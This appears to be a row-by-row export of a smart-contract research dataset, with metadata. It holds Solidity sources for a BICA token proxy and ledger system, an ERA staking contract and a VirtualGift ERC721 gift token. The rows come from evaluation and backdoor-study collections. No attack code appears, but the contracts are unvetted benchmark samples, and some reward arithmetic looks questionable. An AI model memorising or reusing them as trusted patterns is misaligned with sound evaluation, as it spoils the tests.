address"); uid = generateRequestUid(); adminChangeReqs[uid] = AdminChangeRequest({ newAdminAddress: _newAdmin }); emit AdminChangeRequested(uid, msg.sender, _newAdmin); } function confirmAdminChange(bytes32 _uid) public adminOperations { admin = getAdminChangeReq(_uid); delete adminChangeReqs[_uid]; emit AdminChangeConfirmed(_uid, admin); } function getAdminChangeReq(bytes32 _uid) private view returns (address _newAdminAddress) { AdminChangeRequest storage changeRequest = adminChangeReqs[_uid]; require(changeRequest.newAdminAddress != address(0)); return changeRequest.newAdminAddress; } } contract BICALogicUpgradeable is AdminUpgradeable { event LogicChangeRequested(bytes32 _uid, address _msgSender, address _newLogic); event LogicChangeConfirmed(bytes32 _uid, address _newLogic); struct LogicChangeRequest { address newLogicAddress; } BICALogic public bicaLogic; mapping (bytes32 => LogicChangeRequest) public logicChangeReqs; modifier onlyLogic { require(msg.sender == address(bicaLogic), "only logic contract is authorized"); _; } constructor (address _admin) public AdminUpgradeable(_admin) { bicaLogic = BICALogic(0x0); } function requestLogicChange(address _newLogic) public returns (bytes32 uid) { require(_newLogic != address(0), "new logic address can not be 0"); uid = generateRequestUid(); logicChangeReqs[uid] = LogicChangeRequest({ newLogicAddress: _newLogic }); emit LogicChangeRequested(uid, msg.sender, _newLogic); } function confirmLogicChange(bytes32 _uid) public adminOperations { bicaLogic = getLogicChangeReq(_uid); delete logicChangeReqs[_uid]; emit LogicChangeConfirmed(_uid, address(bicaLogic)); } function getLogicChangeReq(bytes32 _uid) private view returns (BICALogic _newLogicAddress) { LogicChangeRequest storage changeRequest = logicChangeReqs[_uid]; require(changeRequest.newLogicAddress != address(0)); return BICALogic(changeRequest.newLogicAddress); } } contract BICALogic is AdminUpgradeable { using SafeMath for uint256; event Requester(address _supplyAddress, address _receiver, uint256 _valueRequested); event PayMargin(address _supplyAddress, address _marginAddress, uint256 _marginValue); event PayInterest(address _supplyAddress, address _interestAddress, uint256 _interestValue); event PayMultiFee(address _supplyAddress, address _feeAddress, uint256 _feeValue); event AddressFrozenInLogic(address indexed addr); event AddressUnfrozenInLogic(address indexed addr); BICAProxy public bicaProxy; BICALedger public bicaLedger; modifier onlyProxy { require(msg.sender == address(bicaProxy), "only the proxy contract allowed only"); _; } constructor (address _bicaProxy, address _bicaLedger, address _admin) public AdminUpgradeable(_admin) { bicaProxy = BICAProxy(_bicaProxy); bicaLedger = BICALedger(_bicaLedger); } function approveWithSender(address _sender, address _spender, uint256 _value) public onlyProxy returns (bool success){ require(_spender != address(0)); bool senderFrozen = bicaLedger.getFrozenByAddress(_sender); require(!senderFrozen, "Sender is frozen"); bool spenderFrozen = bicaLedger.getFrozenByAddress(_spender); require(!spenderFrozen, "Spender is frozen"); bicaLedger.setAllowance(_sender, _spender, _value); bicaProxy.emitApproval(_sender, _spender, _value); return true; } function increaseApprovalWithSender(address _sender, address _spender, uint256 _addedValue) public onlyProxy returns (bool success) { require(_spender != address(0)); bool senderFrozen = bicaLedger.getFrozenByAddress(_sender); require(!senderFrozen, "Sender is frozen"); bool spenderFrozen = bicaLedger.getFrozenByAddress(_spender); require(!spenderFrozen, "Spender is frozen"); uint256 currentAllowance = bicaLedger.allowed(_sender, _spender); uint256 newAllowance = currentAllowance.add(_addedValue); require(newAllowance >= currentAllowance); bicaLedger.setAllowance(_sender, _spender, newAllowance); bicaProxy.emitApproval(_sender, _spender, newAllowance); return true; } function decreaseApprovalWithSender(address _sender, address _spender, uint256 _subtractedValue) public onlyProxy returns (bool success) { require(_spender != address(0)); bool senderFrozen = bicaLedger.getFrozenByAddress(_sender); require(!senderFrozen, "Sender is frozen"); bool spenderFrozen = bicaLedger.getFrozenByAddress(_spender); require(!spenderFrozen, "Spender is frozen"); uint256 currentAllowance = bicaLedger.allowed(_sender, _spender); uint256 newAllowance = currentAllowance.sub(_subtractedValue); require(newAllowance <= currentAllowance); bicaLedger.setAllowance(_sender, _spender, newAllowance); bicaProxy.emitApproval(_sender, _spender, newAllowance); return true; } function issue(address _requesterAccount, uint256 _requestValue, address _marginAccount, uint256 _marginValue, address _interestAccount, uint256 _interestValue, address _otherFeeAddress, uint256 _otherFeeValue) public adminOperations { require(_requesterAccount != address(0)); require(_marginAccount != address(0)); require(_interestAccount != address(0)); require(_otherFeeAddress != address(0)); require(!bicaLedger.getFrozenByAddress(_requesterAccount), "Requester is frozen"); require(!bicaLedger.getFrozenByAddress(_marginAccount), "Margin account is frozen"); require(!bicaLedger.getFrozenByAddress(_interestAccount), "Interest account is frozen"); require(!bicaLedger.getFrozenByAddress(_otherFeeAddress), "Other fee account is frozen"); uint256 requestTotalValue = _marginValue.add(_interestValue).add(_otherFeeValue).add(_requestValue); uint256 supply = bicaLedger.totalSupply(); uint256 newSupply = supply.add(requestTotalValue); if (newSupply >= supply) { bicaLedger.setTotalSupply(newSupply); bicaLedger.addBalance(_marginAccount, _marginValue); bicaLedger.addBalance(_interestAccount, _interestValue); if (_otherFeeValue > 0){ bicaLedger.addBalance(_otherFeeAddress, _otherFeeValue); } bicaLedger.addBalance(_requesterAccount, _requestValue); emit Requester(msg.sender, _requesterAccount, _requestValue); emit PayMargin(msg.sender, _marginAccount, _marginValue); emit PayInterest(msg.sender, _interestAccount, _interestValue); emit PayMultiFee(msg.sender, _otherFeeAddress, _otherFeeValue); bicaProxy.emitTransfer(address(0), _marginAccount, _marginValue); bicaProxy.emitTransfer(address(0), _interestAccount, _interestValue); bicaProxy.emitTransfer(address(0), _otherFeeAddress, _otherFeeValue); bicaProxy.emitTransfer(address(0), _requesterAccount, _requestValue); } } function burn(uint256 _value) public adminOperations returns (bool success) { bool burnerFrozen = bicaLedger.getFrozenByAddress(msg.sender); require(!burnerFrozen, "Burner is frozen"); uint256 balanceOfSender = bicaLedger.balances(msg.sender); require(_value <= balanceOfSender); bicaLedger.setBalance(msg.sender, balanceOfSender.sub(_value)); bicaLedger.setTotalSupply(bicaLedger.totalSupply().sub(_value)); bicaProxy.emitTransfer(msg.sender, address(0), _value); return true; } function freeze(address _user) public adminOperations { require(_user != address(0), "the address to be frozen cannot be 0"); bicaLedger.freezeByAddress(_user); emit AddressFrozenInLogic(_user); } function unfreeze(address _user) public adminOperations { require(_user != address(0), "the address to be unfrozen cannot be 0"); bicaLedger.unfreezeByAddress(_user); emit AddressUnfrozenInLogic(_user); } function transferFromWithSender(address _sender, address _from, address _to, uint256 _value) public onlyProxy returns (bool success){ require(_to != address(0)); bool senderFrozen = bicaLedger.getFrozenByAddress(_sender); require(!senderFrozen, "Sender is frozen"); bool fromFrozen = bicaLedger.getFrozenByAddress(_from); require(!fromFrozen, "`from` is frozen"); bool toFrozen = bicaLedger.getFrozenByAddress(_to); require(!toFrozen, "`to` is frozen"); uint256 balanceOfFrom = bicaLedger.balances(_from); require(_value <= balanceOfFrom); uint256 senderAllowance = bicaLedger.allowed(_from, _sender); require(_value <= senderAllowance); bicaLedger.setBalance(_from, balanceOfFrom.sub(_value)); bicaLedger.addBalance(_to, _value); bicaLedger.setAllowance(_from, _sender, senderAllowance.sub(_value)); bicaProxy.emitTransfer(_from, _to, _value); return true; } function transferWithSender(address _sender, address _to, uint256 _value) public onlyProxy returns (bool success){ require(_to != address(0)); bool senderFrozen = bicaLedger.getFrozenByAddress(_sender); require(!senderFrozen, "sender is frozen"); bool toFrozen = bicaLedger.getFrozenByAddress(_to); require(!toFrozen, "to is frozen"); uint256 balanceOfSender = bicaLedger.balances(_sender); require(_value <= balanceOfSender); bicaLedger.setBalance(_sender, balanceOfSender.sub(_value)); bicaLedger.addBalance(_to, _value); bicaProxy.emitTransfer(_sender, _to, _value); return true; } function totalSupply() public view returns (uint256) { return bicaLedger.totalSupply(); } function balanceOf(address _owner) public view returns (uint256 balance) { return bicaLedger.balances(_owner); } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return bicaLedger.allowed(_owner, _spender); } } contract BICALedger is BICALogicUpgradeable { using SafeMath for uint256; uint256 public totalSupply; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; mapping(address => bool) public frozen; event AddressFrozen(address indexed addr); event AddressUnfrozen(address indexed addr); constructor (address _admin) public BICALogicUpgradeable(_admin) { totalSupply = 0; } function getFrozenByAddress(address _user) public view onlyLogic returns (bool frozenOrNot) { // frozenOrNot = false; return frozen[_user]; } function freezeByAddress(address _user) public onlyLogic { require(!frozen[_user], "user already frozen"); frozen[_user] = true; emit AddressFrozen(_user); } function unfreezeByAddress(address _user) public onlyLogic { require(frozen[_user], "address already unfrozen"); frozen[_user] = false; emit AddressUnfrozen(_user); } function setTotalSupply(uint256 _newTotalSupply) public onlyLogic { totalSupply = _newTotalSupply; } function setAllowance(address _owner, address _spender, uint256 _value) public onlyLogic { allowed[_owner][_spender] = _value; } function setBalance(address _owner, uint256 _newBalance) public onlyLogic { balances[_owner] = _newBalance; } function addBalance(address _owner, uint256 _balanceIncrease) public onlyLogic { balances[_owner] = balances[_owner].add(_balanceIncrease); } } contract ERC20Interface { function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BICAProxy is ERC20Interface, BICALogicUpgradeable { string public name; string public symbol; uint public decimals; constructor (address _admin) public BICALogicUpgradeable(_admin){ name = "BitCapital Coin"; symbol = 'BICA'; decimals = 2; } function totalSupply() public view returns (uint256) { return bicaLogic.totalSupply(); } function balanceOf(address _owner) public view returns (uint256 balance) { return bicaLogic.balanceOf(_owner); } function emitTransfer(address _from, address _to, uint256 _value) public onlyLogic { emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { return bicaLogic.transferWithSender(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { return bicaLogic.transferFromWithSender(msg.sender, _from, _to, _value); } function emitApproval(address _owner, address _spender, uint256 _value) public onlyLogic { emit Approval(_owner, _spender, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { return bicaLogic.approveWithSender(msg.sender, _spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { return bicaLogic.increaseApprovalWithSender(msg.sender, _spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { return bicaLogic.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue); } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return bicaLogic.allowance(_owner, _spender); } }
133,317
12,160
f20980a4a7e84e3c70d7bd706555735e40e2b5aa97fa5d826b2ed903ab5b9b21
15,966
.sol
Solidity
false
363993391
gasgauge/gasgauge.github.io
7795ecd73e31b875fb199c36a74ab8ecd74f870d
Benchmark/no loops/0x84af7604ffd7800292bb657055ac20795aa7a1c1.sol
2,906
12,178
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.5 <0.7.17; // ---------------------------------------------------------------------------- // 'ERA' Staking smart contract // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Stake is Owned { using SafeMath for uint256; address public ERA = 0x03542773fF03E6bFC17f70CB29c0B43115399a8b; uint256 public totalStakes = 0; uint256 stakingFee = 25; // 2.5% uint256 unstakingFee = 25; // 2.5% uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens, uint256 stakingFee); event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(IERC20(ERA).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account"); uint256 _stakingFee = 0; if(totalStakes > 0) _stakingFee= (onePercent(tokens).mul(stakingFee)).div(10); if(totalStakes > 0) // distribute the staking fee accumulated before updating the user's stake _addPayout(_stakingFee); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.add(tokens.sub(_stakingFee)); emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external { require(IERC20(ERA).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); _addPayout(tokens); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round-1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(ERA).transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount + stakers[staker].remainder); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; require(IERC20(ERA).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens"); stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.sub(tokens); if(totalStakes > 0) // distribute the un staking fee accumulated after updating the user's stake _addPayout(_unstakingFee); emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedERA(address staker) external view returns(uint256 stakedERA){ return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the ERA balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourERABalance(address user) external view returns(uint256 ERABalance){ return IERC20(ERA).balanceOf(user); } }
342,248
12,161
93d601c04125ff303465827268b07a5553e27357629fefd4fdec6be7755d3943
16,007
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.6/0xcffd73396e6f4dae2fd43da7eeb2536b50b695a1.sol
3,823
15,507
pragma solidity ^0.4.18; contract ERC721 { // ERC20 compatible functions // use variable getter // function name() constant returns (string name); // function symbol() constant returns (string symbol); function totalSupply() public constant returns (uint256); function balanceOf(address _owner) public constant returns (uint balance); function ownerOf(uint256 _tokenId) public constant returns (address owner); function approve(address _to, uint256 _tokenId) public ; function allowance(address _owner, address _spender) public constant returns (uint256 tokenId); function transfer(address _to, uint256 _tokenId) external returns (bool success); function transferFrom(address _from, address _to, uint256 _tokenId) external; // Optional // function takeOwnership(uint256 _tokenId) public ; // function tokenMetadata(uint256 _tokenId) public constant returns (string infoUrl); // Events event Transfer(address _from, address _to, uint256 _tokenId); event Approval(address _owner, address _approved, uint256 _tokenId); } contract ERC20 { // Get the total token supply function totalSupply() public constant returns (uint256 _totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // transfer _value amount of token approved by address _from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // approve an address with _value amount of tokens function approve(address _spender, uint256 _value) public returns (bool success); // get remaining token approved by _owner to _spender function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract VirtualGift is ERC721 { string public name = "VirtualGift"; uint8 public decimals = 0; string public symbol = "VTG"; string public version = "1.0"; address private defaultGiftOwner; mapping(address => bool) allowPermission; ERC20 private Gifto = ERC20(0x00C5bBaE50781Be1669306b9e001EFF57a2957b09d); event Creation(address indexed _owner, uint256 indexed tokenId); //Gift token storage. GiftToken[] giftStorageArry; //Gift template storage. GiftTemplateToken[] giftTemplateStorageArry; //mapping address to it's gift sum mapping(address => uint256) private balances; //mapping gift id to owner mapping(uint256 => address) private giftIndexToOwners; //tells the gift is existed by gift id mapping(uint256 => bool) private giftExists; //mapping current owner to approved owners to gift mapping(address => mapping (address => uint256)) private ownerToApprovedAddsToGifIds; //mapping gift template id to gift ids mapping(uint256 => uint256[]) private giftTemplateIdToGiftids; //Mapping gift type to gift limit. mapping(uint256 => uint256) private giftTypeToGiftLimit; //mapping gift template to gift selled sum. mapping(uint256 => uint256) private giftTypeToSelledSum; //Gift template known as 0 generation gift struct GiftTemplateToken { uint256 giftPrice; uint256 giftLimit; //gift image url string giftImgUrl; //gift animation url string giftName; } //virtual gift token struct GiftToken { uint256 giftPrice; uint256 giftType; //gift image url string giftImgUrl; //gift animation url string giftName; } modifier onlyHavePermission(){ require(allowPermission[msg.sender] == true || msg.sender == defaultGiftOwner); _; } modifier onlyOwner(){ require(msg.sender == defaultGiftOwner); _; } //@dev Constructor function VirtualGift() public { defaultGiftOwner = msg.sender; GiftToken memory newGift = GiftToken({ giftPrice: 0, giftType: 0, giftImgUrl: "", giftName: "" }); GiftTemplateToken memory newGiftTemplate = GiftTemplateToken({ giftPrice: 0, giftLimit: 0, giftImgUrl: "", giftName: "" }); giftStorageArry.push(newGift); // id = 0 giftTemplateStorageArry.push(newGiftTemplate); } function addPermission(address _addr) public onlyOwner{ allowPermission[_addr] = true; } function removePermission(address _addr) public onlyOwner{ allowPermission[_addr] = false; } ///@dev Buy a gift while create a new gift based on gift template. ///Make sure to call Gifto.approve() fist, before calling this function function sendGift(uint256 _type, address recipient) public onlyHavePermission returns(uint256 _giftId) { //Check if the created gifts sum < gift Limit require(giftTypeToSelledSum[_type] < giftTemplateStorageArry[_type].giftLimit); //_type must be a valid value require(_type > 0 && _type < giftTemplateStorageArry.length); //Mint a virtual gift. _giftId = _mintGift(_type, recipient); giftTypeToSelledSum[_type]++; return _giftId; } /// @dev Mint gift. function _mintGift(uint256 _type, address recipient) internal returns (uint256) { GiftToken memory newGift = GiftToken({ giftPrice: giftTemplateStorageArry[_type].giftPrice, giftType: _type, giftImgUrl: giftTemplateStorageArry[_type].giftImgUrl, giftName: giftTemplateStorageArry[_type].giftName }); uint256 giftId = giftStorageArry.push(newGift) - 1; //Add giftid to gift template mapping giftTemplateIdToGiftids[_type].push(giftId); giftExists[giftId] = true; //Reassign Ownership for new owner _transfer(0, recipient, giftId); //Trigger Ethereum Event Creation(msg.sender, giftId); return giftId; } /// @dev Initiate gift template. /// A gift template means a gift of "0" generation's function createGiftTemplate(uint256 _price, uint256 _limit, string _imgUrl, string _giftName) public onlyHavePermission returns (uint256 giftTemplateId) { //Check these variables require(_price > 0); bytes memory imgUrlStringTest = bytes(_imgUrl); bytes memory giftNameStringTest = bytes(_giftName); require(imgUrlStringTest.length > 0); require(giftNameStringTest.length > 0); require(_limit > 0); require(msg.sender != address(0)); //Create GiftTemplateToken GiftTemplateToken memory newGiftTemplate = GiftTemplateToken({ giftPrice: _price, giftLimit: _limit, giftImgUrl: _imgUrl, giftName: _giftName }); //Push GiftTemplate into storage. giftTemplateId = giftTemplateStorageArry.push(newGiftTemplate) - 1; giftTypeToGiftLimit[giftTemplateId] = _limit; return giftTemplateId; } function updateTemplate(uint256 templateId, uint256 _newPrice, uint256 _newlimit, string _newUrl, string _newName) public onlyOwner { giftTemplateStorageArry[templateId].giftPrice = _newPrice; giftTemplateStorageArry[templateId].giftLimit = _newlimit; giftTemplateStorageArry[templateId].giftImgUrl = _newUrl; giftTemplateStorageArry[templateId].giftName = _newName; } function getGiftSoldFromType(uint256 giftType) public constant returns(uint256){ return giftTypeToSelledSum[giftType]; } //@dev Retrieving gifts by template. function getGiftsByTemplateId(uint256 templateId) public constant returns(uint256[] giftsId) { return giftTemplateIdToGiftids[templateId]; } //@dev Retrievings all gift template ids function getAllGiftTemplateIds() public constant returns(uint256[]) { if (giftTemplateStorageArry.length > 1) { uint256 theLength = giftTemplateStorageArry.length - 1; uint256[] memory resultTempIds = new uint256[](theLength); uint256 resultIndex = 0; for (uint256 i = 1; i <= theLength; i++) { resultTempIds[resultIndex] = i; resultIndex++; } return resultTempIds; } require(giftTemplateStorageArry.length > 1); } //@dev Retrieving gift template by it's id function getGiftTemplateById(uint256 templateId) public constant returns(uint256 _price, uint256 _limit, string _imgUrl, string _giftName){ require(templateId > 0); require(templateId < giftTemplateStorageArry.length); GiftTemplateToken memory giftTemplate = giftTemplateStorageArry[templateId]; _price = giftTemplate.giftPrice; _limit = giftTemplate.giftLimit; _imgUrl = giftTemplate.giftImgUrl; _giftName = giftTemplate.giftName; return (_price, _limit, _imgUrl, _giftName); } /// @dev Retrieving gift info by gift id. function getGift(uint256 _giftId) public constant returns (uint256 giftType, uint256 giftPrice, string imgUrl, string giftName) { require(_giftId < giftStorageArry.length); GiftToken memory gToken = giftStorageArry[_giftId]; giftType = gToken.giftType; giftPrice = gToken.giftPrice; imgUrl = gToken.giftImgUrl; giftName = gToken.giftName; return (giftType, giftPrice, imgUrl, giftName); } /// @dev transfer gift to a new owner. /// @param _to : /// @param _giftId : function transfer(address _to, uint256 _giftId) external returns (bool success){ require(giftExists[_giftId]); require(_to != 0x0); require(msg.sender != _to); require(msg.sender == ownerOf(_giftId)); require(_to != address(this)); _transfer(msg.sender, _to, _giftId); return true; } /// @dev change Gifto contract's address or another type of token, like Ether. /// @param newAddress Gifto contract address function setGiftoAddress(address newAddress) public onlyOwner { Gifto = ERC20(newAddress); } /// @dev Retrieving Gifto contract adress function getGiftoAddress() public constant returns (address giftoAddress) { return address(Gifto); } /// @dev returns total supply for this token function totalSupply() public constant returns (uint256){ return giftStorageArry.length - 1; } //@dev //@param _owner //@return function balanceOf(address _owner) public constant returns (uint256 giftSum) { return balances[_owner]; } /// @dev /// @return owner function ownerOf(uint256 _giftId) public constant returns (address _owner) { require(giftExists[_giftId]); return giftIndexToOwners[_giftId]; } /// @dev approved owner /// @param _to : function approve(address _to, uint256 _giftId) public { require(msg.sender == ownerOf(_giftId)); require(msg.sender != _to); ownerToApprovedAddsToGifIds[msg.sender][_to] = _giftId; //Ethereum Event Approval(msg.sender, _to, _giftId); } /// @dev /// @param _owner : /// @param _spender : function allowance(address _owner, address _spender) public constant returns (uint256 giftId) { return ownerToApprovedAddsToGifIds[_owner][_spender]; } /// @dev /// @param _giftId : function takeOwnership(uint256 _giftId) public { //Check if exits require(giftExists[_giftId]); address oldOwner = ownerOf(_giftId); address newOwner = msg.sender; require(newOwner != oldOwner); //New owner has to be approved by oldowner. require(ownerToApprovedAddsToGifIds[oldOwner][newOwner] == _giftId); //transfer gift for new owner _transfer(oldOwner, newOwner, _giftId); delete ownerToApprovedAddsToGifIds[oldOwner][newOwner]; //Ethereum Event Transfer(oldOwner, newOwner, _giftId); } /// @dev transfer gift for new owner "_to" /// @param _from : /// @param _to : /// @param _giftId : function _transfer(address _from, address _to, uint256 _giftId) internal { require(balances[_to] + 1 > balances[_to]); balances[_to]++; giftIndexToOwners[_giftId] = _to; if (_from != address(0)) { balances[_from]--; } //Ethereum event. Transfer(_from, _to, _giftId); } /// @dev transfer Gift for new owner(_to) which is approved. /// @param _from : address of owner of gift /// @param _to : recipient address /// @param _giftId : gift id function transferFrom(address _from, address _to, uint256 _giftId) external { require(_to != address(0)); require(_to != address(this)); //Check if this spender(_to) is approved to the gift. require(ownerToApprovedAddsToGifIds[_from][_to] == _giftId); require(_from == ownerOf(_giftId)); //@dev reassign ownership of the gift. _transfer(_from, _to, _giftId); //Delete approved spender delete ownerToApprovedAddsToGifIds[_from][_to]; } /// @dev Retrieving gifts by address _owner function giftsOfOwner(address _owner) public view returns (uint256[] ownerGifts) { uint256 giftCount = balanceOf(_owner); if (giftCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](giftCount); uint256 total = totalSupply(); uint256 resultIndex = 0; uint256 giftId; for (giftId = 0; giftId <= total; giftId++) { if (giftIndexToOwners[giftId] == _owner) { result[resultIndex] = giftId; resultIndex++; } } return result; } } /// @dev withdraw GTO and ETH in this contract function withdrawGTO() onlyOwner public { Gifto.transfer(defaultGiftOwner, Gifto.balanceOf(address(this))); } function withdraw() onlyOwner public returns (bool){ return defaultGiftOwner.send(this.balance); } }
210,960
12,162
f00c89eb1d6d23e94a9cbe0dd412ab501287e02eaf5eae5deff653b2860a1317
20,648
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0x9823e0070773b249e981065e5ed76190bf6c843e.sol
5,724
18,336
